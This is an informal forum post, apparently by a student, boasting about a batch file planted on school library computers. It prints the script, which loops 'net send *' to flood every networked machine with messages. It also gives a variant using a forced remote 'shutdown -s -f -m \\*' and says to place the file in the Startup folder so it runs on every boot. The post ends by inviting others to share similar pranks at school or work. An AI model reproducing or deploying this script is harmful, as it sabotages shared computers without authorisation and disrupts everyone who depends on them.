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well, i go to a public school and i get pretty mad at it sometimes. so i just mosy on into the library and write out a pretty nifty little batch file called batch1.bat

 

heres what is in it:

@echo off
:start
net send * "stop failing me"

or

net send * "your computer is going to blow up"
goto start

 

or if i am really mad

 

replace net send with this

 

shutdown -s -f -m \\* -c "The MATRIX has you!"

 

 

then after all that, i stick it in the startup folder so the batch files start up with the computer and it totally screws them over.

 

i was just wondering if any of you nice people have ever done something similar to that at school or at your jobs or something.

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